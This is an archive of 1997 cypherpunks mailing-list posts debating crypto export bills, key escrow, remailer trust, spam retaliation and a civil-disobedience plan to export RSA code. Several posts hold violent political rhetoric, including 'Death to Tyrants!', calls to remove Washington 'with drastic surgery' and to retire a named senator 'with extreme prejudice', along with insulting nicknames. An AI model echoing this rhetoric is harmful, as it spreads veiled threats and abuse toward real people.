  Now what the hell does this mean? Says McCollum: ""it
  is truly a technical amendment."

* Rep. Rothman was the only one who pointed out how
  government access to keys reduces freedom: "It raises
  civil libertarian and totalitarian issues for me." He
  recounted how at a recent hearing he asked the
  administration: "Let's cut to the chase: do you want
  to mandate this access?" The reply: "No, no, no."

I've said it before and I'll say it again: Congress
desperately wants to compromise. They're aching to
split the difference, cut a deal, and screw the pooch
in the process. Just watch for the backroom scheming
over the next few months. And if the worst features of
all the crypto-bills are combined into one package
that's attached to a huge spending bill that "just has
to go through" -- well, don't say I didn't warn you...

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 09:37:35 +0800
To: cypherpunks@toad.com
Subject: The E-Bomb
Message-ID: <1.5.4.32.19970515011615.0098f1b8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Emery has pointed to an article, "The E-Bomb - 
a Weapon of Electrical Mass Destruction," which
describes the work being done on EMP weapons.

The piece is at Infowar.com, but we've borrowed
a copy to put at:

   http://jya.com/ebomb.htm  (93K + excellent diagrams)

It may help explain that unearthly blast in the Aussie
Outback discussed here a few weeks ago. Someone 
suggested HAARP as an explanation, and another hinted 
at other godawful research being done that similar to what 
the genius Tesla was doing early in the century to 
shatter the planet and fry the sky, and now, it seems, 
coming true.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 10:05:49 +0800
To: cypherpunks@toad.com
Subject: BXA Docs
Message-ID: <1.5.4.32.19970515014554.009c41b8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


BXA has published two short crypto-related docs, 
both dated May 8, 1997.

William Reinsch's testimony on Goodlatte's bill:

   http://jya.com/bxa050897.htm

Press release on Reinsch's ABA talk about the 
new regulations for financial transactions:

   http://jya.com/bxa050897-2.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 15 May 1997 11:59:39 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: update.321 (fwd)
Message-ID: <199705150246.VAA28144@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From physnews@aip.org Wed May 14 13:21:46 1997
Date: Wed, 14 May 97 10:24:01 EDT
From: physnews@aip.org (AIP listserver)
Message-Id: <9705141424.AA09540@aip.org>
To: physnews-mailing@aip.org
Subject: update.321


PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 321 May 13, 1997   by Phillip F. Schewe and Ben Stein

A PHOTON CONVEYOR BELT has been created using sound
waves and lasers, bringing about a new method for processing and
storing light signals on a chip.  In some opto-electronic devices it
is desirable to delay or store an optically-encoded message by
dispatching it down kilometer-long fiber cul-de-sacs.  In a device
developed at the University of Munich, the delay can be
accomplished more compactly by first converting the light into a
splash of excitons (electron-hole pairs) which propagate at a more
leisurely pace, the electrons and holes surfing along on different
parts of a guiding acoustic wave.  Later the electron-hole pairs
recombine into photons, which are read out at the other end of the
sample.  In effect the signal has been converted from a speed-of-
light wave into a speed-of-sound wave, and back again.  This
technique is also a way of prolonging the lifetime of excitons,
which typically live for mere nanoseconds before recombining; in
this experiment they have now been preserved for microseconds.
(C.  Rocke et al., Physical Review Letters, 19 May 1997; contact
Achim Wixforth, Achim.Wixforth @physik.uni-muenchen.de;
animation at www.aip.org/physnews/graphics)

THE QUANTUM WAVEFUNCTION OF A MATTER WAVE,
the complete mathematical description of a quantum system, has
been experimentally reconstructed for the first time.   Trapping a
single beryllium ion in electric fields, Dietrich Leibfried and his
colleagues at NIST created a state in which the ion has exactly one
quantum of vibrational energy. Determining the wavefunction,
which contains all the knowable information about this system, is
difficult because the uncertainty principle says that measuring its
position alters its momentum and vice versa.   But by preparing the
same quantum state 500,000 times and making a different
measurement each time, the researchers sidestepped this limitation
and reconstructed piecemeal the probability for the ion to have
certain values of position and momentum.  Known as the Wigner
function, this "quasiprobability" distribution can be mathematically
transformed into an average quantum wavefunction for the system
which, the researchers argue, is nearly identical to the actual
wavefunction. The NIST researchers were the first to measure
negative Wigner function values for certain coordinates of position
and momentum--something that can only happen for quantum
systems; this reflects the fact that the system can exist in many
states simultaneously. (Physical Review Letters, 18 November
1996.)   Subsequently, physicists at the University of Konstanz in
Germany measured the Wigner function of a matter wave traveling
in free space--a helium atom traversing a pair of slits.  (Nature, 13
March; also Science News, March 15.)

PHYSICISTS ARE 46 YEARS OLD AND MAKE $65,000 A
YEAR.  These are median values for a PhD physicist in  the U.S.
in 1996.  Those who work at federal labs made the most (median 
$78,500), even more than in industry (median $77,000); those at 
4-year colleges made the least, with a median of $49,200. 
Geographically, median salaries ranged from $70,000 (Pacific
states) to $56,200 (East South Central). New PhD's earn $31,000
at universties and $39,600 at federal labs.  Salaries for female
physicists who have earned the PhD in the past 10 years are
comparable to salaries for male physicists with similar experience
("Society Membership Survey: Salaries 1996," a report issued in
April by the AIP Education and Employment Statistics Division;
contact Ray Chu, rchu@aip.org)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Horton <jehorton@erols.com>
Date: Thu, 15 May 1997 10:42:04 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: 96 Wiretap Report
In-Reply-To: <199705140202.VAA11766@mailhub.amaranth.com>
Message-ID: <337A710F.18DB@erols.com>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <1.5.4.32.19970514012608.008ff084@pop.pipeline.com>, on 05/13/97 at
> 07:26 PM,
>    John Young <jya@pipeline.com> said:
> 
> >We offer the text and three summary tables of the
> >U.S. Courts "1996 Wiretap Report" at:
> 
> >   http://jya.com/96wiretap.htm  (36K)
> 
> I noticed in the summary report that e-mail interceps were used. Is their
> more detailed information on this? I would be intrested to know how
> involved the govenment is becoming involved in this area. Of great intrest
> would be the location and means used to do such taps.

Don't know specifically where the taps are, but there is a major network
access point (NAP) in Reston or Maclean VA.  There are other NAPs
located domestically. Some urls to look (by no means inclusive) that
will provide NAP information are:

	www.ra.net
	nic.merit.edu/ipma
	www.rsng.net/naps.html
	www.mfsdatanet.com/MAE/doc/mae-info.html


> 
> Thanks again for providing a wealth of information,
> 
> - --
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> 
> Finger whgiii@amaranth.com for PGP Key and other info
> - -----------------------------------------------------------
> 
> Tag-O-Matic: Windows: From the people who brought you EDLIN!
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Registered User E-Secure v1.1 ES000000
> 
> iQCVAwUBM3ksMo9Co1n+aLhhAQEJuQP/eI6H5ZvlCgiDfFgocpyXX+crj+q84XXY
> aPEJEXYXGhAF/Vp1HywbjU0HxyufmSCBKaU5h74dSLPGSThaicRQSILMwU7q9fzL
> 2scmwLwpsxv1P5VIaWiOiGLtYp+7CcPzd/lHEgPeyA+81VBkcBsdH41P4tywEH7Z
> dCKTFNi9dh0=
> =OBuw
> -----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stokely Boast <stokely@beacondesign.com>
Date: Thu, 15 May 1997 10:33:54 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Enough of this shit already!
In-Reply-To: <XkVP7D40w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.96.970514221027.12331C-100000@shell2.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Bill Frantz <frantz@netcom.com> writes:
> 
> > At 8:10 AM -0700 5/13/97, Ray Arachelian wrote:
> >
> > >Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
> > >doctorate from the KGB, I'm tired of these spams.  Yes, they include the
> > >ones that IMHO come from Vulis, the ones to which Graham replies, the
> > >anonymous ones that reply to Graham, the permutations of them that
> > >spam Toto, and these.  :(
> >
> > IMHO these spams are the reason people have been leaving the list, not the
> > political discussions (Perry excepted).
> 
> Good. People who can't set up a mail filter don't belong on a technical list.
> 

As many people before me have pointed out, this is not a list (nor should
it be one) which is subscribed to only by 'technical' people. 

> It should be posted, but perhaps not on this list. bombpunks?
> 

Set up some ML software on reliable server and I'll subscribe.

-------------------------------------------------------------------------
Stokely Boast                                    stokely@beacondesign.com
Client/Server and RDBMS Consulting                Beacon Design Group Inc
PGP Id/Print: 5FD48D11 / B2 49 6C 7D 18 AC CA FB  0E 17 E5 97 6C 11 6C E7
-------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 13:46:27 +0800
To: "'cypherpunks@toad.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <19970514222526.39369@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 06:01:23PM -0700, Lucky Green wrote:
> On Wed, 14 May 1997, Roger J. Jones wrote:
> 
> > Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> > 
> > 1) Log all of their mail messages?
> > 2) Are in many cases reputed to be run by foreign intelligence services?
> 
> Net.myths
>  
> > Do they really trust the owner of the remailer? (Unless of course, it is
> their remailer?) I seem to be missing something. 
> 
> You are missing the fact that you can chain remailers. Therefore it is 
> pretty much irrelevant if some remailers are compromised.
> 
> 
> Then again, I know several remailer operators personally. Which makes me 
> less worried about the them being foreign intelligence agents.

Lucky, since I am considered contemptible by several c'punks, I worry
about them more than I would about foreign intelligence agents.  I
have actually considered sending some things through the remailers,
but I don't trust them -- I don't find cypherpunks any less
susceptible to ideology than foreign agents... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 15 May 1997 13:57:43 +0800
To: tcmay@got.net>
Subject: Re: Just Say "No" to Congress
Message-ID: <3.0.32.19970514223849.006ea694@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:25 AM 5/15/97 -0400, Declan McCullagh wrote:
>Tim wrote:
>
>> We're basically under assault from all directions. The bozos in Congress
>> and state governments are spinning out new laws and obscure regulations
>> faster than we can react...and of course they're using our money to
>> generate these laws and lobby for them. Further, a mostly-brainwashed
>> Washington media population is surprising uncritical of these blizzard
>> drifts of new laws.
>
>Hmmm... Do I get counted in the "mostly-brainwashed" category?

I am sure that Tim knows by now that you don't fall into that category.
Still, most members of the Washington media population seem brainwashed. At
least judging by the stuff they publicize.

>FYI, here are two bills that Feinstein introduced recently:

Sigh. She is my Senator. [Don't blame me. I voted against her. But she hits
the feelings of the Bay Area head on. "Big brother will bring you
multi-cultural happiness." She is such a hypocrite. Even carried a gun
after Moscone and Milk were shot and she thought herself in danger. Once
she felt safe again, she went on TV and said that if she could get the
votes in the Senate for total confiscation she would push for it. What's
good for the goose...]



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Thu, 15 May 1997 13:56:33 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Just Say "No" to Congress
Message-ID: <3.0.32.19970514223307.006b4704@best.com>
MIME-Version: 1.0
Content-Type: text/plain


I think I'd like to have some voice in who steps up to the bar
to fill the power vacuum, though, after the rapid oxidation 
within the Beltway.

At 09:13 AM 5/14/97 -0800, Tim May wrote:
>At 9:14 PM -0800 5/13/97, Lucky Green wrote:
>>At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
>>>You might remember I wrote recently about the DoJ report released this
>>>month that calls for new legislation to ban bomb-making info online. Now
>>>Feinstein's office tells me she's going to introduce a bill.
>>
>>Feinswine never saw a gun/mind control bill she didn't like. She is an
>>ultra fascist that rose to power thanks to the yellow dog Bay Area voters.
>>
>
>Feinswine/Swinestein is the most despicable of all the politicians in
>Congress. (This is not just ideology speaking...her usual-ally Barbara
>Boxer is much less swinish, and even has some independent thoughts. I can't
>see I often agree with Boxer, but she's not the Big Sister automaton that
>Swinestein is.)
>
>We're basically under assault from all directions. The bozos in Congress
>and state governments are spinning out new laws and obscure regulations
>faster than we can react...and of course they're using our money to
>generate these laws and lobby for them. Further, a mostly-brainwashed
>Washington media population is surprising uncritical of these blizzard
>drifts of new laws.
>
>As others have noted, recently James Donald, the lawmakers play the "good
>cop, bad cop" game very well. Crypto becomes exportable (good cop), but
>only if keys are given to the government (bad cop). Speech is ostensibly
>protected by new laws, but new provisions criminalize racist, homophobic,
>disrespectful, hurtful, offensive, or unpopular opinions.
>
>The "there ought to be a law" crowd is in high gear.
>
>The only proper rebuttal is to reject their view that more laws will fix
>the societal ills they perceive.
>
>Attempting to "work with them" only feeds the good cop/bad cop system, as
>the SAFE and Pro-CODE bills show.
>
>Removing the Washington area as a malignant tumor requiring drastic surgery
>remains an option.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 14:33:10 +0800
To: declan@well.com
Subject: Re: Just Say "No" to Congress
In-Reply-To: <v03007802af9fa094e283@[207.167.93.63]>
Message-ID: <v03007806afa05fdfd3dc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:25 PM -0800 5/14/97, Declan McCullagh wrote:
>Tim wrote:
>
>> We're basically under assault from all directions. The bozos in Congress
>> and state governments are spinning out new laws and obscure regulations
>> faster than we can react...and of course they're using our money to
>> generate these laws and lobby for them. Further, a mostly-brainwashed
>> Washington media population is surprising uncritical of these blizzard
>> drifts of new laws.
>
>Hmmm... Do I get counted in the "mostly-brainwashed" category?

No point in naming names. Nearly all reporters covering Washington are
essentially "policy wonks" (a term I hate, but it's the jargon du jour).

They lose sight of the forest for the trees. Further, nearly all news
outlets--the newsweekies, the newspapers, the broadcast networks--want
reporters to be somewhat neutral. (Which I don't necessarily disagree
with...but it explains why only the most wonkish and "lost in the trees"
reporters can tolerate and thrive in a Washington environment.

(Declan knows all this, of course, so I'm not teaching him how to suck eggs.)

Any reasonable person, whether leftist, rightist, libertarian, or whatever,
would respond to the long boring negotiations over bills--the soporific
markup Declan described, for example--with a cry of "I'm mad as hell and
I'm not going to take it anymore."

Those who tolerate and thrive in Washington thus must think the "political"
issues, the backroom deals, the wheelings and dealings, are worth the
boredom.

This is why I call them brainwashed. A better term might be "born
compromisers."

By the way, nothing I saw in the latest version of SAFE is acceptable. And
I agree with Declan that it will only get worse. The NSA and FBI will lean
on Hyde, on the International Relations committee, and the final version
will have murky language about legitimate needs of law enforcement, key
recovery, etc.

And there is zero chance that arbitrarily strong crypto will be freely
exportable.

Result? Americans as a whole gain no freedoms not already implicit in the
Constitution, pernicious language takes away some existing guaranteed
freedoms, NSA gets it wish to control exports, and key recovery is given a
boost.



>FYI, here are two bills that Feinstein introduced recently:
>
>     S. 504. Children's Privacy Protection and Parental Empowerment Act
>     of 1997. Prohibits the sale of personal information about children
>     without their parents' consent. Introduced by Feinstein (D-CA) on
>     3/20/97. Referred to the Committee on the Judiciary.

>From what I read here, another statist law. If I come into information
legally (scenarios left as an exercise for the reader), it is mine to sell,
give away, or do with as I please. Period. Crap about "parental
empowerment" is just a smokescreen. If parents or children wish to protect
certain information, let them not provide it. ("Remember Johnnie, if a man
comes up to you and says he's from Child Protective Services and he wants
to ask you a few questions, what did I tell you to say to him?" "You mean,
'Fuck off, fascist narc!'?" "Good, Johnnie, good.")

>     S. 600. Personal Information Privacy Act of 1997. Amends FCRA to
>     prohibit sale on non-public information, prohibits use of SSN as ID
>     number, limits use of SSN on drivers liscenses. Introduced by
>     Feinstein (D-CA) on 4/16/97. Referred to the Committee on Finance.

This sounds OK, as I hate being required by law to give my SS number to so
many. (In California it's required for car registration...my SS card says
plainly "Not to be used for identification," but this is ignored.)

But I fear it makes little difference. The SS number is already so widely
linked in data bases that it can be easily found. (Income tax forms are
sent to mailing addresses with the SS number prominently in the upper
right-hand corner of the damned mailing label!!!!)

Swinestein is in general a hopeless case, one who should be retired from
government office with extreme prejudice.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 14:42:24 +0800
To: Kent Crispin <cypherpunks@toad.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <v03007807afa0691f003f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:25 PM -0800 5/14/97, Kent Crispin wrote:

>Lucky, since I am considered contemptible by several c'punks, I worry
>about them more than I would about foreign intelligence agents.  I
>have actually considered sending some things through the remailers,
>but I don't trust them -- I don't find cypherpunks any less
>susceptible to ideology than foreign agents...

The main solution to such doubts about remailers and their logging or
snooping tendencies is to use many remailers, encrypted all along the way,
and with the remailers picked from diverse ideological points.

(Other solutions are of course for remailers to move away from the "human
in the loop" system of Unix box-based remailers toward a more
fully-automated, black box approach. This was the basis of Chaum's 1981
system...the remailers implemented in 1992 were acknowledged by all to be
pale shadows of these hardware-based mixes. There are still opportunities
for snooping, if the hardware is either compromised or is not built
according to published specs to reduce such snooping, and this is of course
an issue to discuss. Certain approaches using DC-Nets make even this kind
of collusion problematic.)

Further, a clever little fix is to make one's own remailer site a link in
the chain. All a snooping subset of remailers can do is trace the message
back to your own remailers. Obviously, they can't know if the message was
merely _remailed_ through your site, or _originated_ there. Thus, including
oneself as a remailer also provides excellent plausible deniability.)

But, finally, the most important point:

Whether you, Kent, "trust" certain of us not to snoop or meddle is not the
main point. It is not we who argue that remailers should be controlled, or
limited, or regulated, or banned. It is the government side.

So, we Cypherpunks would be happy to see remailers run by the Greens, the
Maoists, the Panthers, the Weathermen, the Aryan Resistance, the Kulak
Liberation Brigade, the Stonewall Queers, Dykes on Bykes, the Animal
Liberation Front, the Phalangist Party, a hundred other fringe groups, and
a few tens of thousands of individuals and small shops.

Collusion between a carefully--or even randomly--selected chain of, say, 20
of these various and mutually-hostile groups would seem to be "unlikely."

Kent, stop babbling and spend a few hours reading up on the basics of how
remailers work, the issues of collusion, and the discussions we've had for
several years on these issues.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 15 May 1997 14:47:45 +0800
To: cypherpunks mailing list <cypherpunks@algebra.com>
Subject: Re: Spam IS Free Speech
Message-ID: <199705150640.XAA07531@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 14 May 97 at 3:46, lucifer Anonymous Remailer wrote:

> Ross Wright wrote:
> > 
> > You can not retaliate against free
> > speech, Rick.  That's a bad thing, plain and simple, black and
> > white.
> 
>   Crock of shit, Ross.

No shit, you just can't send 10,000 megs of info in retaliation for a 
few bits.  Really, there's no call for that.  It's wrong. 

>   It costs me money to download unwanted spam. What's this "free"
> bullshit?

What?  Like 80 cents per gig?  Please a bit here and a byte there 
isn't going to break anyone.  Could someone do the math?

> > Free speech is a right.  You have the right to make some snotty
> > reply, but no right to intentionally harm. 
> 
>   Spammers neither know nor care if they are causing harm to the
> finances or mental well-being of others.

One message in your in box is no excuse for terror tactics.  Mail 
bombs, arp atacks, calls for regulations: aren't you over reacting?  
Just a little?  I think your mental well being is in question anyway.

>   If a spammer declares their right to cause me financial loss and
> denial of service for the time it takes me to rid myself of their
> unwanted intrusion

What, like 5 seconds a week?  Less?  Please.  It just isn't as bad as 
you make it seem.

Shit I love this, the spammers love this.  There is no such thing as
*bad* publicity.  The more you screem the better it is for the "bad
spammers".

> then they can have no expectation that I, in
> turn, will not declare what level of financial loss and denial of
> service I will cause them.

You have no right to deny them more than the few seconds of service 
that you lost.  Any more than that is terror tactics, and a waste of 
time.  You should be working on better projects than "Let's fuck over 
the spammers".  Wow, that's productive.  Shit, man write some useful 
code.
 
> > You, nor anyone else, has a right to lash out at
> > someone for something they say or some ad they send you.
> 
>   So spammers have no right to lash out at my sending them a
> gigabyte of email regarding the evils of spamming. 

A gig for a few bytes.  Why?  That's so lame.  Such a watse of 
talented code writing.  And why are you escalating this?
 
> > > It makes
> > > *me* feel better.
> > 
> > Ahhh, at last the point.  Are you a self centred ass, who's
> > personal feelings are more important that the Constitution? 
> 
>   Ross has failed to explain just how the Constitution promotes the
> spammer's right to intrude upon the spammer's life and cause them
> financial loss while denying that right to the spammee.

Well I've tried to describe that you lose about a dime per year.

>   Ross' personal feelings seem to be important enough to him to cast
> slurs on those who disagree with his black-and-white opinions
> regarding his right to spam others without them having a
> corresponding right to reply in kind.

You can feel free to send me twice as many bytes as I send to you, 
OK?  Feel beter?  No!  You must fuck me over because I sent you my 
latest MLM scam.  Yeah that's so mature!  Come out from behind your 
remailer and state your opinions, wrong as they are.

 >   Gander. Goose.

Right.  If I send you a gig, you send me a gig.  If I send you a meg 
you send me a meg.  A few bytes for a few bytes.  Are you following 
what has upset me about this issue, yet?  Like for Like, Goose, 
Gander.  You said it, but you don't mean it. 

Right?  You are saying if I send you one message, you have the right 
to mail bomb me?  There's no parity there.  

It's very distressing how much of a hot button this issue is.

 >TruthMonger

 Lier. 

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 15 May 1997 23:55:33 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Difference in terms
In-Reply-To: <Pine.3.89.9705082019.D10593-0100000@as-node.jena.thur.de>
Message-ID: <3.0.1.32.19970514234337.005e9620@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Lutz Donnerhacke <lutz@as-node.jena.thur.de>writes:
>>   key recovery is if I can get my key
>>   key escrow is if you can get my key

"Key Escrow" was "We want your keys".
"Software Key Escrow" was "OK, Clipper was a loser, but we want your keys"
"Public Key Infrastructure" was "Here, have some keys"
"Trusted Third Party" was "Hey, trust us, we want your keys"
"Key Recovery" is "OK, that didn't work, but we still want your keys"


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 15:07:56 +0800
To: cypherpunks@cyberpass.net
Subject: Civil Disobediance
Message-ID: <199705150652.XAA21425@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


"All that matters is how we die: shall we offer our bodies helplessly,
like cattle, to the knife, or, refusing passively to await the end
shall we turn the strength of our anger to one last battle, til,
daring and doing, we fall, drenched with their blood, amongst the
heaped bodies and weapons of our dying enemies?"  -- Livy Book XXV

We've seen many sentiments like this one on the list lately.  Such
sentiments are understandable and have a certain visceral appeal.  And
it is good that people who are thinking along these lines are also
telling their friends on the list instead of censoring themselves.

But, these strategies are not the best we can choose to achieve our
true goals.  Few of us wish to be martyrs.

The years long discussion of "crypto policy" has had the unfortunate
and intended effect that it has caused us to become accustomed to
restrictions on sharing ideas.  That doesn't mean we like it, but it
does mean that we consider the control of mathematical ideas to be
expected and somewhat inevitable.  (The same mechanisms we use to
train animals are at work here.)

Many of us have, perhaps, lost our youthful rage at the complete
absurdity of a law which makes it highly illegal to invent some math,
express it in code, and distribute it for free to the world.

Perhaps there is a way to turn the training on the trainers?  Civil
disobediance is the best way to do this.  Were a relatively small
number of people, a thousand for instance, to post the "RSA in 3
lines" code to the world, it would be highly unlikely that anybody at
all would be prosecuted, particularly if a sizeable number of these
people were professors, graduate students, professionals at well known
companies, journalists, politicians?, or otherwise prominent people.
The whole situation would be so absurd they would never dare take it
to court.

If no response results from the first release of code, more people
will feel comfortable jumping in when it becomes clear that they have
a chance to change the world.  The longer somebody waits, the less
opportunity they have to tell their grandkids "I was the 500th person
to publically export RSA back in the late 20th century.  The
government was actually trying to make math illegal!"  Best of all,
anybody "fortunate" enough to be a U.S. citizen can participate, even
if they don't write code themselves.

Having established beyond any doubt that the export of RSA was
possible without repercussions, the lesson will be driven home by
group releases of successively longer mathematical works expressed in
source code.  The first release will be the most challenging.  In no
time at all everybody - including everybody in the government - will
find themselves accustomed to the idea that laws against mathematics
are absurd.  (Even Senators will be able to grasp this unchallenging
concept.)

It is not hard for the government and the newspapers to discredit
militia type activities involving large weapons collections and
chemistry experiments.  But, no matter how much spin is put on it, it
is extremely hard to persuade the public that sending a few lines of
source code is terrorism, especially when they can download it off the
web and see for themselves that it is just, well, source code, and
maybe export it themselves.

The way to get started is for people to pledge to post "RSA in 3
lines" if certain conditions are met.  For instance, "I will post 'RSA
in 3 lines' if 500 people promise to do it as well, among them being
Michel Foucault, Jacob Bernoulli, and Blaise Pascal."  No risk need be
taken without allies!

Dr. Roberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 15:11:45 +0800
To: cypherpunks@algebra.com
Subject: Sweeps Week in Portland
Message-ID: <199705150701.AAA21825@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


News from the Beirut of the West:

The FBI, in cooperation with the Portland police and the TV show "Cops" is ending a six month survelence project of downtown Portland.  Tonight, armed with large books containing pictures of suspects, they have congregated in the center of town arresting all of those caught in their video web.  Over the last 6-8 hours they have been arresting hundreds of suspects in the downtown area.

The arrests are a "show of force" in the downtown area.  The police used to watch over the people.  Now they are watching the people.

Expect to see similar activity in the town where you live.

"Be seeing you!"

DonutMonger #666







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 15:16:02 +0800
To: cypherpunks@cyberpass.net
Subject: Sweeps Week in Portland
Message-ID: <199705150701.AAA21833@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


News from the Beirut of the West:

The FBI, in cooperation with the Portland police and the TV show "Cops" is ending a six month survelence project of downtown Portland.  Tonight, armed with large books containing pictures of suspects, they have congregated in the center of town arresting all of those caught in their video web.  Over the last 6-8 hours they have been arresting hundreds of suspects in the downtown area.

The arrests are a "show of force" in the downtown area.  The police used to watch over the people.  Now they are watching the people.

Expect to see similar activity in the town where you live.

"Be seeing you!"

DonutMonger #666







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 15 May 1997 07:33:56 +0800
To: cypherpunks@algebra.com
Subject: DES challenge news (fwd)
Message-ID: <m0wRmD5-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


Distributed key cracking efforts have been discussed in detail on
cypherpunks and coderpunks for quite some time.  A Swedish group
trying to solve RSADSI's DES challenge chose to ignore the results.
Here is what they got (from RISKS 19.14):

>Date: Mon, 12 May 1997 17:56:54 +0200 (MET DST)
>From: Thomas Koenig <ig25@mvmap66.ciw.uni-karlsruhe.de>
>Subject: DES challenge news

You may remember RISKS-19.09, in which I discussed the risks in a
network-wide attack on the RSA DES challenge: The Swedish group at
http://www.des.sollentuna.se/ didn't give out its source, so the client
could, in fact, do anything, such as crack a master EC-card key.  The reason
given was client integrity.

Well, a month after this, the promised source code release has not happened.
Instead, it appears that somebody disassembled part of the client, made a
version that reported fake "done" blocks, and then sent these to the
servers.

Moral?  Don't ever think that nobody can read compiled code.  Don't try to
